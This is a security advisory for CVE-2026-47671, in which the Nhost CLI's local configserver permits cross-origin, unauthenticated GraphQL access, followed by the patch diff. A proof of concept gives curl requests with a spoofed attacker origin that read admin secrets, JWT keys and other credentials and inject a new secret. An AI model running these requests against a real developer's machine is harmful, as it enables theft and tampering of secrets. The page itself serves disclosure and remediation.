VYPR
Medium severity5.4NVD Advisory· Published Jun 4, 2026· Updated Jun 4, 2026

Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets

CVE-2026-47671

Description

Summary

The hidden nhost configserver used by nhost dev exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local .secrets file.

This impacts developers using nhost dev: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project.

Details

The CLI registers a hidden configserver command in cli/main.go:39 and cli/main.go:41. That command is used as the local development configserver image in nhost dev: cli/cmd/dev/up.go:176 through cli/cmd/dev/up.go:200 select nhost/cli: as the configserver image, and cli/dockercompose/configserver.go:80 through cli/dockercompose/configserver.go:84 run it with the configserver command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at cli/dockercompose/compose.go:347 through cli/dockercompose/compose.go:358.

The configserver intentionally loads the local project files into Mimir's GraphQL resolver in cli/cmd/configserver/configserver.go:143 through cli/cmd/configserver/configserver.go:156. However, the authorization directives passed to graph.SetupRouter are no-ops:

  • cli/cmd/configserver/configserver.go:83 through cli/cmd/configserver/configserver.go:89 define dummyMiddleware, which calls the next resolver without checking app visibility.
  • cli/cmd/configserver/configserver.go:91 through cli/cmd/configserver/configserver.go:98 define dummyMiddleware2, which calls the next resolver without checking roles.
  • cli/cmd/configserver/configserver.go:161 through cli/cmd/configserver/configserver.go:170 pass those dummy directive handlers and cors.Default() to the GraphQL router.

The default rs/cors configuration allows all origins when no AllowedOrigins are specified: vendor/github.com/rs/cors/cors.go:163 through vendor/github.com/rs/cors/cors.go:167, and vendor/github.com/rs/cors/cors.go:248 through vendor/github.com/rs/cors/cors.go:249 show Default() uses Options{}. A browser preflight from an arbitrary origin receives Access-Control-Allow-Origin: *.

The exposed GraphQL schema includes sensitive queries and mutations:

  • vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41 through vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57 expose configRawJSON, config, and appSecrets by app ID. appSecrets is protected only by @hasAppVisibility, which the configserver replaces with the no-op dummyMiddleware.
  • vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117 through vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128 expose insertSecret, updateSecret, and deleteSecret, also protected only by the no-op @hasAppVisibility directive.
  • vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:10 through vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:30 return the app's secrets.
  • vendor/github.com/nhost/be/services/mimir/graph/q_config_raw_json.go:12 returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config.
  • vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:11 through vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:47 append attacker-supplied secrets and call plugin UpdateSecrets.
  • cli/cmd/configserver/local.go:164 through cli/cmd/configserver/local.go:175 marshal the new secrets and write them to the configured local secrets file with os.WriteFile.

Because the local configserver uses a fixed zero UUID app ID for the local app (cli/cmd/configserver/local.go:134) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID.

Candidate score: 14/14.

  • Reachability: 2 — reachable in the documented local development path using nhost dev and directly through the hidden configserver command.
  • Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled.
  • Privilege required: 2 — no authentication or local Nhost privileges are required beyond network/browser reachability to the developer's local configserver.
  • Sink impact: 2 — sensitive secret read and local secrets file write.
  • Mitigation weakness: 2 — role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins.
  • Default exposure: 2 — enabled by the common local development setup.
  • Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files.

PoC

The following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.

  1. Start a configserver instance against temporary local files:
tmpdir=$(mktemp -d)
config="$tmpdir/nhost.toml"
secrets="$tmpdir/.secrets"

cat > "$config" <<'EOF'
[hasura]
adminSecret = 'local-test-admin-secret'
webhookSecret = 'local-test-webhook-secret'

[[hasura.jwtSecrets]]
type = 'HS256'
key = 'local-test-jwt-secret'

[observability]
[observability.grafana]
adminPassword = 'local-test-grafana-password'
EOF

cat > "$secrets" <<'EOF'
localProofSecret = 'LOCAL_PROOF_SECRET_VALUE'
EOF

port=18088
go run ./cli configserver \
  --bind "127.0.0.1:$port" \
  --storage-local-config-path "$config" \
  --storage-local-secrets-path "$secrets"
  1. From another shell, show that a browser-style preflight from an arbitrary origin is accepted:
curl -sS -i -X OPTIONS \
  -H 'Origin: https://attacker.example' \
  -H 'Access-Control-Request-Method: POST' \
  -H 'Access-Control-Request-Headers: content-type' \
  "http://127.0.0.1:18088/v1/configserver/graphql"

Observed proof output in this environment:

HTTP/1.1 204 No Content
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *
Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
  1. Read local development secrets without any authentication:
curl -sS -i \
  -H 'Origin: https://attacker.example' \
  -H 'Content-Type: application/json' \
  --data '{"query":"query { appSecrets(appID: \"00000000-0000-0000-0000-000000000000\") { name value } }"}' \
  "http://127.0.0.1:18088/v1/configserver/graphql"

Observed proof output in this environment:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"appSecrets":[{"name":"localProofSecret","value":"LOCAL_PROOF_SECRET_VALUE"}]}}
  1. Read sensitive local configuration without any authentication:
curl -sS -i \
  -H 'Origin: https://attacker.example' \
  -H 'Content-Type: application/json' \
  --data '{"query":"query { configRawJSON(appID: \"00000000-0000-0000-0000-000000000000\", resolve: false) }"}' \
  "http://127.0.0.1:18088/v1/configserver/graphql"

Observed proof output in this environment:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"configRawJSON":"{\"hasura\":{\"adminSecret\":\"local-test-admin-secret\",\"jwtSecrets\":[{\"key\":\"local-test-jwt-secret\",\"type\":\"HS256\"}],\"webhookSecret\":\"local-test-webhook-secret\"},\"observability\":{\"grafana\":{\"adminPassword\":\"local-test-grafana-password\"}}}"}}
  1. Mutate the local .secrets file without any authentication:
curl -sS -i \
  -H 'Origin: https://attacker.example' \
  -H 'Content-Type: application/json' \
  --data '{"query":"mutation { insertSecret(appID: \"00000000-0000-0000-0000-000000000000\", secret: { name: \"INJECTED_BY_UNAUTHENTICATED_REQUEST\", value: \"SAFE_LOCAL_MARKER\" }) { name value } }"}' \
  "http://127.0.0.1:18088/v1/configserver/graphql"

grep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' "$secrets"

Observed proof output in this environment:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"insertSecret":{"name":"INJECTED_BY_UNAUTHENTICATED_REQUEST","value":"SAFE_LOCAL_MARKER"}}}
INJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER'
  1. Cleanup:
# Stop the configserver process, then remove the disposable fixture directory.
rm -rf "$tmpdir"

Impact

An attacker who can cause a developer to visit a web page while nhost dev is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in .secrets. The attacker can also mutate the local .secrets file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.

This is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running.

Remediation

Addressed in nhost/nhost#4302 with three layered controls:

  • CORS restricted to the dashboard origin. cors.Default() in cli/cmd/configserver/configserver.go is replaced by corsMiddleware(), which uses an AllowOriginFunc driven by dashboardOriginRe = ^https?://([^./]+\.dashboard\.local\.nhost\.run|local\.dashboard\.nhost\.run)(:\d+)?$. Arbitrary origins receive no Access-Control-Allow-* headers and are rejected by browsers. The allowlist is locked in by cli/cmd/configserver/configserver_test.go.
  • Unguessable per-project app ID. The fixed zero UUID is replaced by a UUIDv4 generated on first nhost dev, persisted to .nhost/app_id (mode 0600) by cli/clienv/appid.go, and threaded via NHOST_APP_ID into the configserver container and NEXT_PUBLIC_NHOST_APP_ID into the dashboard. The configserver serve action validates the value with uuid.Parse at startup. Queries against any other app ID resolve to no app.
  • In-memory secret redaction with reconciling writes. cli/cmd/configserver/local.go adds loadSecretsRedacted, which substitutes every secret value with ` before secrets enter the graph store, so appSecrets and any other read path return placeholders. UpdateSecrets reconciles incoming mutations against the on-disk .secrets file — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage in cli/cmd/configserver/local_test.go`.

Affected products

1

Patches

1
e407511627d2

feat(cli): harden local configserver against cross-origin and exfil access (#4302)

https://github.com/nhost/nhostDavid BarrosoMay 18, 2026via ghsa-ref
31 files changed · +462 933
  • cli/clienv/appid.go+42 0 added
    @@ -0,0 +1,42 @@
    +package clienv
    +
    +import (
    +	"errors"
    +	"fmt"
    +	"os"
    +	"path/filepath"
    +	"strings"
    +
    +	"github.com/google/uuid"
    +)
    +
    +// GetOrCreateAppID returns the app ID stored at path, creating it with a fresh
    +// random UUIDv4 if the file does not exist. The parent directory must already
    +// exist.
    +func GetOrCreateAppID(path string) (string, error) {
    +	b, err := os.ReadFile(path)
    +	if err == nil {
    +		id := strings.TrimSpace(string(b))
    +		if _, err := uuid.Parse(id); err != nil {
    +			return "", fmt.Errorf("app id file %s is malformed: %w", path, err)
    +		}
    +
    +		return id, nil
    +	}
    +
    +	if !errors.Is(err, os.ErrNotExist) {
    +		return "", fmt.Errorf("failed to read app id file %s: %w", path, err)
    +	}
    +
    +	id := uuid.NewString()
    +
    +	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { //nolint:mnd
    +		return "", fmt.Errorf("failed to create app id directory: %w", err)
    +	}
    +
    +	if err := os.WriteFile(path, []byte(id+"\n"), 0o600); err != nil { //nolint:mnd
    +		return "", fmt.Errorf("failed to write app id file %s: %w", path, err)
    +	}
    +
    +	return id, nil
    +}
    
  • cli/clienv/filesystem.go+4 0 modified
    @@ -71,6 +71,10 @@ func (p PathStructure) DockerCompose() string {
     	return filepath.Join(p.dotNhostFolder, "docker-compose.yaml")
     }
     
    +func (p PathStructure) AppID() string {
    +	return filepath.Join(p.dotNhostFolder, "app_id")
    +}
    +
     func (p PathStructure) Functions() string {
     	return filepath.Join(p.root, "functions")
     }
    
  • cli/cmd/configserver/configserver.go+51 4 modified
    @@ -3,15 +3,17 @@ package configserver
     import (
     	"context"
     	"fmt"
    +	"net/http"
     	"os"
    +	"regexp"
     
     	"github.com/99designs/gqlgen/graphql"
     	"github.com/docker/docker/client"
     	"github.com/gin-gonic/gin"
     	"github.com/google/uuid"
     	"github.com/nhost/be/services/mimir/graph"
     	"github.com/nhost/nhost/cli/cmd/configserver/logsapi"
    -	cors "github.com/rs/cors/wrapper/gin"
    +	oapimw "github.com/nhost/nhost/internal/lib/oapi/middleware"
     	"github.com/sirupsen/logrus"
     	"github.com/urfave/cli/v3"
     )
    @@ -24,9 +26,20 @@ const (
     	storageLocalConfigPath      = "storage-local-config-path"
     	storageLocalSecretsPath     = "storage-local-secrets-path"
     	storageLocalRunServicesPath = "storage-local-run-services-path"
    +	appIDFlag                   = "app-id"
     	dockerComposeProjectEnv     = "DOCKER_COMPOSE_PROJECT"
     )
     
    +// dashboardOriginRe matches the origins where the CLI-instantiated dashboard
    +// is reachable. The subdomain segment is intentionally restricted to a single
    +// DNS label (`[^./]+`) — stricter than traefik's `.+` host-regexp — so that
    +// only the canonical `<sub>.dashboard.local.nhost.run` (and the bare
    +// `local.dashboard.nhost.run`) form is credentialed-CORS eligible. An optional
    +// non-standard HTTP(S) port is permitted.
    +var dashboardOriginRe = regexp.MustCompile(
    +	`^https?://([^./]+\.dashboard\.local\.nhost\.run|local\.dashboard\.nhost\.run)(:\d+)?$`,
    +)
    +
     func Command() *cli.Command {
     	return &cli.Command{ //nolint: exhaustruct
     		Name:   "configserver",
    @@ -75,11 +88,40 @@ func Command() *cli.Command {
     				Category: "plugins",
     				Sources:  cli.EnvVars("STORAGE_LOCAL_RUN_SERVICES_PATH"),
     			},
    +			&cli.StringFlag{ //nolint: exhaustruct
    +				Name:     appIDFlag,
    +				Usage:    "App ID this configserver instance represents",
    +				Value:    ZeroUUID,
    +				Category: "server",
    +				Sources:  cli.EnvVars("NHOST_APP_ID"),
    +			},
     		},
     		Action: serve,
     	}
     }
     
    +func corsMiddleware() gin.HandlerFunc {
    +	return oapimw.CORS(oapimw.CORSOptions{
    +		AllowOriginFunc: dashboardOriginRe.MatchString,
    +		AllowedOrigins:  nil,
    +		AllowedMethods: []string{
    +			http.MethodGet,
    +			http.MethodPost,
    +			http.MethodPut,
    +			http.MethodPatch,
    +			http.MethodDelete,
    +			http.MethodOptions,
    +			http.MethodHead,
    +		},
    +		// AllowedHeaders: nil reflects the client's Access-Control-Request-Headers,
    +		// which is the equivalent of "*" under credentialed CORS.
    +		AllowedHeaders:   nil,
    +		ExposedHeaders:   nil,
    +		AllowCredentials: true,
    +		MaxAge:           "",
    +	})
    +}
    +
     func dummyMiddleware(
     	ctx context.Context,
     	_ any,
    @@ -144,7 +186,12 @@ func serve(_ context.Context, cmd *cli.Command) error {
     	secretsFile := cmd.String(storageLocalSecretsPath)
     	runServices := runServicesFiles(cmd.StringSlice(storageLocalRunServicesPath)...)
     
    -	st := NewLocal(configFile, secretsFile, runServices)
    +	appID := cmd.String(appIDFlag)
    +	if _, err := uuid.Parse(appID); err != nil {
    +		return fmt.Errorf("invalid --%s value %q: %w", appIDFlag, appID, err)
    +	}
    +
    +	st := NewLocal(appID, configFile, secretsFile, runServices)
     
     	data, err := st.GetApps(configFile, secretsFile, runServices)
     	if err != nil {
    @@ -165,9 +212,9 @@ func serve(_ context.Context, cmd *cli.Command) error {
     		dummyMiddleware2,
     		cmd.Bool(enablePlaygroundFlag),
     		cmd.Root().Version,
    -		[]graphql.FieldMiddleware{},
    +		nil,
     		gin.Recovery(),
    -		cors.Default(),
    +		corsMiddleware(),
     	)
     
     	if err := setupLogsAPI(
    
  • cli/cmd/configserver/configserver_test.go+49 0 added
    @@ -0,0 +1,49 @@
    +package configserver //nolint:testpackage
    +
    +import (
    +	"testing"
    +)
    +
    +func TestDashboardOriginRegex(t *testing.T) {
    +	t.Parallel()
    +
    +	cases := []struct {
    +		origin string
    +		want   bool
    +	}{
    +		{"https://local.dashboard.local.nhost.run", true},
    +		{"http://local.dashboard.local.nhost.run", true},
    +		{"https://local.dashboard.local.nhost.run:1337", true},
    +		{"https://dev.dashboard.local.nhost.run", true},
    +		{"https://dev.dashboard.local.nhost.run:8443", true},
    +		{"https://local.dashboard.nhost.run", true},
    +		{"http://local.dashboard.nhost.run:443", true},
    +
    +		// Foreign origins must be rejected.
    +		{"https://evil.com", false},
    +		{"https://attacker.local.nhost.run", false},
    +		{"https://dashboard.local.nhost.run", false},
    +		{"https://dashboard.local.nhost.run.evil.com", false},
    +		{"https://local.dashboard.local.nhost.run.evil.com", false},
    +		{"https://local.dashboard.local.nhost.run/foo", false},
    +		{"http://localhost:3000", false},
    +		{"", false},
    +
    +		// Multi-label subdomains are intentionally rejected even though
    +		// traefik would route them; only single-label `<sub>.dashboard.local.nhost.run`
    +		// is credentialed-CORS eligible.
    +		{"https://a.b.dashboard.local.nhost.run", false},
    +		{"https://foo.bar.dashboard.local.nhost.run:1337", false},
    +	}
    +
    +	for _, tc := range cases {
    +		t.Run(tc.origin, func(t *testing.T) {
    +			t.Parallel()
    +
    +			got := dashboardOriginRe.MatchString(tc.origin)
    +			if got != tc.want {
    +				t.Errorf("origin %q: got %v, want %v", tc.origin, got, tc.want)
    +			}
    +		})
    +	}
    +}
    
  • cli/cmd/configserver/local.go+101 16 modified
    @@ -15,7 +15,20 @@ import (
     	"github.com/sirupsen/logrus"
     )
     
    -const zeroUUID = "00000000-0000-0000-0000-000000000000"
    +const ZeroUUID = "00000000-0000-0000-0000-000000000000"
    +
    +// placeholderSecretValue is substituted into the in-memory configserver state
    +// for every secret loaded from .secrets, so real secret material never enters
    +// the configserver process's heap or its GraphQL responses. The on-disk
    +// .secrets file remains authoritative; UpdateSecrets re-reads it when
    +// persisting mutations and only writes through values that differ from this
    +// placeholder.
    +//
    +// The value is intentionally long (>= 64 characters) so that resolved-config
    +// validation rules with minimum-length constraints (e.g. HS512 JWT keys) still
    +// pass when an unrelated secret is being updated and the others resolve to
    +// this placeholder.
    +const placeholderSecretValue = "<placeholder-from-local-configserver-substituted-for-real-secret>"
     
     var ErrNotImpl = errors.New("not implemented")
     
    @@ -27,13 +40,15 @@ type Local struct {
     	config      string
     	secrets     string
     	runServices map[string]string
    +	appID       string
     }
     
    -func NewLocal(config, secrets string, runServices map[string]string) *Local {
    +func NewLocal(appID, config, secrets string, runServices map[string]string) *Local {
     	return &Local{
     		config:      config,
     		secrets:     secrets,
     		runServices: runServices,
    +		appID:       appID,
     	}
     }
     
    @@ -91,17 +106,9 @@ func (l *Local) GetApps(
     		return nil, fmt.Errorf("failed to fill config: %w", err)
     	}
     
    -	b, err = os.ReadFile(secretsFile)
    +	secrets, err := loadSecretsRedacted(secretsFile)
     	if err != nil {
    -		return nil, fmt.Errorf("failed to read secrets file: %w", err)
    -	}
    -
    -	var secrets model.Secrets
    -	if err := env.Unmarshal(b, &secrets); err != nil {
    -		return nil, fmt.Errorf(
    -			"failed to parse secrets, make sure secret values are between quotes: %w",
    -			err,
    -		)
    +		return nil, err
     	}
     
     	services, err := l.GetServices(runServicesFiles)
    @@ -131,7 +138,7 @@ func (l *Local) GetApps(
     			},
     			Secrets:  secrets,
     			Services: services,
    -			AppID:    zeroUUID,
    +			AppID:    l.appID,
     		},
     	}, nil
     }
    @@ -161,13 +168,40 @@ func (l *Local) UpdateSystemConfig(_ context.Context, _, _ *graph.App, _ logrus.
     	return ErrNotImpl
     }
     
    +// UpdateSecrets persists the secrets changeset implied by newApp.Secrets,
    +// merging with the on-disk .secrets file so that placeholder entries (the
    +// values we loaded into memory in place of real secrets) never overwrite
    +// actual values stored on disk.
    +//
    +// The reconciliation rules are:
    +//   - A name present in newApp.Secrets whose value equals
    +//     placeholderSecretValue is treated as "untouched" — the on-disk value is
    +//     preserved.
    +//   - A name present in newApp.Secrets whose value differs from the
    +//     placeholder is treated as a real insert/update — the incoming value is
    +//     written through.
    +//   - A name present on disk but absent from newApp.Secrets is deleted.
     func (l *Local) UpdateSecrets(_ context.Context, _, newApp *graph.App, _ logrus.FieldLogger) error {
    -	m := make(map[string]string)
    +	onDisk, err := readSecretsMap(l.secrets)
    +	if err != nil {
    +		return err
    +	}
    +
    +	out := make(map[string]string, len(newApp.Secrets))
    +
     	for _, v := range newApp.Secrets {
    -		m[v.Name] = v.Value
    +		if v.Value == placeholderSecretValue {
    +			if existing, ok := onDisk[v.Name]; ok {
    +				out[v.Name] = existing
    +			}
    +
    +			continue
    +		}
    +
    +		out[v.Name] = v.Value
     	}
     
    -	b, err := toml.Marshal(m)
    +	b, err := toml.Marshal(out)
     	if err != nil {
     		return fmt.Errorf("failed to marshal app secrets: %w", err)
     	}
    @@ -179,6 +213,57 @@ func (l *Local) UpdateSecrets(_ context.Context, _, newApp *graph.App, _ logrus.
     	return nil
     }
     
    +// loadSecretsRedacted reads the on-disk .secrets file and returns a
    +// model.Secrets whose names match what's on disk but whose values are all
    +// replaced with placeholderSecretValue. The configserver never holds real
    +// secret material in memory.
    +func loadSecretsRedacted(path string) (model.Secrets, error) {
    +	b, err := os.ReadFile(path)
    +	if err != nil {
    +		return nil, fmt.Errorf("failed to read secrets file: %w", err)
    +	}
    +
    +	var secrets model.Secrets
    +	if err := env.Unmarshal(b, &secrets); err != nil {
    +		return nil, fmt.Errorf(
    +			"failed to parse secrets, make sure secret values are between quotes: %w",
    +			err,
    +		)
    +	}
    +
    +	for _, s := range secrets {
    +		s.Value = placeholderSecretValue
    +	}
    +
    +	return secrets, nil
    +}
    +
    +// readSecretsMap reads and parses the local .secrets file into a name->value
    +// map. Returns an empty map if the file does not exist; this lets
    +// UpdateSecrets bootstrap from a missing file.
    +func readSecretsMap(path string) (map[string]string, error) {
    +	b, err := os.ReadFile(path)
    +	if err != nil {
    +		if errors.Is(err, os.ErrNotExist) {
    +			return map[string]string{}, nil
    +		}
    +
    +		return nil, fmt.Errorf("failed to read secrets file: %w", err)
    +	}
    +
    +	var secrets model.Secrets
    +	if err := env.Unmarshal(b, &secrets); err != nil {
    +		return nil, fmt.Errorf("failed to parse secrets file: %w", err)
    +	}
    +
    +	out := make(map[string]string, len(secrets))
    +	for _, s := range secrets {
    +		out[s.Name] = s.Value
    +	}
    +
    +	return out, nil
    +}
    +
     func (l *Local) CreateRunServiceConfig(
     	_ context.Context, _ string, _ *graph.Service, _ logrus.FieldLogger,
     ) error {
    
  • cli/cmd/configserver/local_test.go+65 14 modified
    @@ -27,6 +27,11 @@ adminPassword = 'asdasd'
     const rawSecrets = `someSecret = 'asdasd'
     `
     
    +// placeholderSecretValue mirrors the constant in package configserver; we
    +// duplicate it here because it is unexported. Tests assert on this exact
    +// string to verify GetApps redacts real values at load time.
    +const placeholderSecretValue = "<placeholder-from-local-configserver-substituted-for-real-secret>"
    +
     func newApp() *graph.App {
     	return &graph.App{
     		Config: &model.ConfigConfig{
    @@ -72,7 +77,7 @@ func newApp() *graph.App {
     		Secrets: []*model.ConfigEnvironmentVariable{
     			{
     				Name:  "someSecret",
    -				Value: "asdasd",
    +				Value: placeholderSecretValue,
     			},
     		},
     		Services: graph.Services{},
    @@ -90,7 +95,7 @@ func TestLocalGetApps(t *testing.T) {
     		expected   []*graph.App
     	}{
     		{
    -			name:       "works",
    +			name:       "secret values are redacted at load time",
     			configRaw:  rawConfig,
     			secretsRaw: rawSecrets,
     			expected:   []*graph.App{newApp()},
    @@ -122,6 +127,7 @@ func TestLocalGetApps(t *testing.T) {
     			}
     
     			st := configserver.NewLocal(
    +				configserver.ZeroUUID,
     				configF.Name(),
     				secretsF.Name(),
     				nil,
    @@ -141,7 +147,7 @@ func TestLocalGetApps(t *testing.T) {
     	}
     }
     
    -func TestLocalUpdateConfig(t *testing.T) { //nolint:dupl
    +func TestLocalUpdateConfig(t *testing.T) {
     	t.Parallel()
     
     	cases := []struct {
    @@ -185,6 +191,7 @@ func TestLocalUpdateConfig(t *testing.T) { //nolint:dupl
     			}
     
     			st := configserver.NewLocal(
    +				configserver.ZeroUUID,
     				configF.Name(),
     				secretsF.Name(),
     				nil,
    @@ -211,40 +218,83 @@ func TestLocalUpdateConfig(t *testing.T) { //nolint:dupl
     	}
     }
     
    -func TestLocalUpdateSecrets(t *testing.T) { //nolint:dupl
    +func secretsApp(secrets ...*model.ConfigEnvironmentVariable) *graph.App {
    +	return &graph.App{ //nolint:exhaustruct
    +		Secrets: secrets,
    +	}
    +}
    +
    +func TestLocalUpdateSecrets(t *testing.T) {
     	t.Parallel()
     
     	cases := []struct {
     		name       string
    -		configRaw  string
     		secretsRaw string
     		newApp     *graph.App
     		expected   string
     	}{
     		{
    -			name:       "works",
    -			configRaw:  rawConfig,
    -			secretsRaw: rawSecrets,
    -			newApp:     newApp(),
    -			expected:   rawSecrets,
    +			// Placeholder values mean "unchanged" — UpdateSecrets must
    +			// merge with the on-disk value, never overwriting real
    +			// secrets with the placeholder sentinel.
    +			name:       "placeholder preserves on-disk value",
    +			secretsRaw: "kept = 'real-on-disk-value'\n",
    +			newApp: secretsApp(&model.ConfigEnvironmentVariable{
    +				Name:  "kept",
    +				Value: placeholderSecretValue,
    +			}),
    +			expected: "kept = 'real-on-disk-value'\n",
    +		},
    +		{
    +			// A real (non-placeholder) value is a genuine update from
    +			// the dashboard — write it through.
    +			name:       "real value writes through",
    +			secretsRaw: "edited = 'old-value'\n",
    +			newApp: secretsApp(&model.ConfigEnvironmentVariable{
    +				Name:  "edited",
    +				Value: "new-value",
    +			}),
    +			expected: "edited = 'new-value'\n",
    +		},
    +		{
    +			// A real value for a name that does not yet exist on disk
    +			// is a fresh insert.
    +			name:       "insert of new name writes through",
    +			secretsRaw: "",
    +			newApp: secretsApp(&model.ConfigEnvironmentVariable{
    +				Name:  "fresh",
    +				Value: "brand-new",
    +			}),
    +			expected: "fresh = 'brand-new'\n",
    +		},
    +		{
    +			// A name present on disk but absent from newApp.Secrets is
    +			// a delete — it must not be carried over.
    +			name:       "missing name is deleted",
    +			secretsRaw: "stays = 'real-stays'\ndropped = 'real-dropped'\n",
    +			newApp: secretsApp(&model.ConfigEnvironmentVariable{
    +				Name:  "stays",
    +				Value: placeholderSecretValue,
    +			}),
    +			expected: "stays = 'real-stays'\n",
     		},
     	}
     
     	for _, tc := range cases {
     		t.Run(tc.name, func(t *testing.T) {
     			t.Parallel()
     
    -			configF, err := os.CreateTemp(t.TempDir(), "TestLocalGetApps")
    +			configF, err := os.CreateTemp(t.TempDir(), "TestLocalUpdateSecrets")
     			if err != nil {
     				t.Fatalf("failed to create temp file: %v", err)
     			}
     			defer os.Remove(configF.Name())
     
    -			if _, err := configF.WriteString(tc.configRaw); err != nil {
    +			if _, err := configF.WriteString(rawConfig); err != nil {
     				t.Fatalf("failed to write to temp file: %v", err)
     			}
     
    -			secretsF, err := os.CreateTemp(t.TempDir(), "TestLocalGetApps")
    +			secretsF, err := os.CreateTemp(t.TempDir(), "TestLocalUpdateSecrets")
     			if err != nil {
     				t.Fatalf("failed to create temp file: %v", err)
     			}
    @@ -255,6 +305,7 @@ func TestLocalUpdateSecrets(t *testing.T) { //nolint:dupl
     			}
     
     			st := configserver.NewLocal(
    +				configserver.ZeroUUID,
     				configF.Name(),
     				secretsF.Name(),
     				nil,
    @@ -271,7 +322,7 @@ func TestLocalUpdateSecrets(t *testing.T) { //nolint:dupl
     
     			b, err := os.ReadFile(secretsF.Name())
     			if err != nil {
    -				t.Errorf("failed to read config file: %v", err)
    +				t.Errorf("failed to read secrets file: %v", err)
     			}
     
     			if diff := cmp.Diff(tc.expected, string(b)); diff != "" {
    
  • cli/cmd/dev/cloud.go+1 0 modified
    @@ -204,6 +204,7 @@ func cloud( //nolint:funlen
     		ports,
     		dashboardVersion,
     		configserverImage,
    +		proj.GetID(),
     		caCertificatesPath,
     	)
     	if err != nil {
    
  • cli/cmd/dev/up.go+10 0 modified
    @@ -440,6 +440,15 @@ func up( //nolint:funlen,cyclop
     		return fmt.Errorf("failed to validate config: %w", err)
     	}
     
    +	if err := os.MkdirAll(ce.Path.DotNhostFolder(), 0o755); err != nil { //nolint:mnd
    +		return fmt.Errorf("failed to create .nhost folder: %w", err)
    +	}
    +
    +	appID, err := clienv.GetOrCreateAppID(ce.Path.AppID())
    +	if err != nil {
    +		return fmt.Errorf("failed to get app id: %w", err)
    +	}
    +
     	ctxWithTimeout, cancel := context.WithTimeout(ctx, 5*time.Second) //nolint:mnd
     	defer cancel()
     
    @@ -473,6 +482,7 @@ func up( //nolint:funlen,cyclop
     		dashboardVersion,
     		functionsVersion,
     		configserverImage,
    +		appID,
     		clienv.PathExists(ce.Path.Functions()),
     		caCertificatesPath,
     		runServicesCfg...,
    
  • cli/dockercompose/compose_cloud.go+8 2 modified
    @@ -20,8 +20,9 @@ func dashboardCloud(
     	httpPort uint,
     	useTLS bool,
     	dashboardVersion string,
    +	appID string,
     ) *Service {
    -	dashboard := dashboard(cfg, subdomain, dashboardVersion, httpPort, useTLS)
    +	dashboard := dashboard(cfg, subdomain, dashboardVersion, httpPort, useTLS, appID)
     
     	dashboard.Environment["NEXT_PUBLIC_NHOST_ADMIN_SECRET"] = cloudAdminSecret
     	dashboard.Environment["NEXT_PUBLIC_NHOST_AUTH_URL"] = fmt.Sprintf(
    @@ -85,7 +86,7 @@ func consoleCloud(
     	return console, nil
     }
     
    -func getServicesCloud(
    +func getServicesCloud( //nolint:funlen
     	cfg *model.ConfigConfig,
     	subdomain string,
     	cloudSubdomain string,
    @@ -101,6 +102,7 @@ func getServicesCloud(
     	ports ExposePorts,
     	dashboardVersion string,
     	configserviceImage string,
    +	appID string,
     ) (map[string]*Service, error) {
     	traefik, err := traefik(subdomain, projectName, httpPort, dotNhostFolder)
     	if err != nil {
    @@ -128,6 +130,7 @@ func getServicesCloud(
     		rootFolder,
     		nhostFolder,
     		projectName,
    +		appID,
     		useTLS,
     	)
     	if err != nil {
    @@ -145,6 +148,7 @@ func getServicesCloud(
     			httpPort,
     			useTLS,
     			dashboardVersion,
    +			appID,
     		),
     		"traefik":      traefik,
     		"configserver": cs,
    @@ -169,6 +173,7 @@ func CloudComposeFileFromConfig(
     	ports ExposePorts,
     	dashboardVersion string,
     	configserverImage string,
    +	appID string,
     	caCertificatesPath string,
     ) (*ComposeFile, error) {
     	services, err := getServicesCloud(
    @@ -187,6 +192,7 @@ func CloudComposeFileFromConfig(
     		ports,
     		dashboardVersion,
     		configserverImage,
    +		appID,
     	)
     	if err != nil {
     		return nil, err
    
  • cli/dockercompose/compose.go+8 2 modified
    @@ -332,6 +332,7 @@ func dashboard(
     	dashboardVersion string,
     	httpPort uint,
     	useTLS bool,
    +	appID string,
     ) *Service {
     	return &Service{
     		Image:      dashboardVersion,
    @@ -341,6 +342,7 @@ func dashboard(
     		Environment: map[string]string{
     			"NEXT_PUBLIC_ENV":                "dev",
     			"NEXT_PUBLIC_NHOST_PLATFORM":     "false",
    +			"NEXT_PUBLIC_NHOST_APP_ID":       appID,
     			"NEXT_PUBLIC_NHOST_ADMIN_SECRET": cfg.Hasura.AdminSecret,
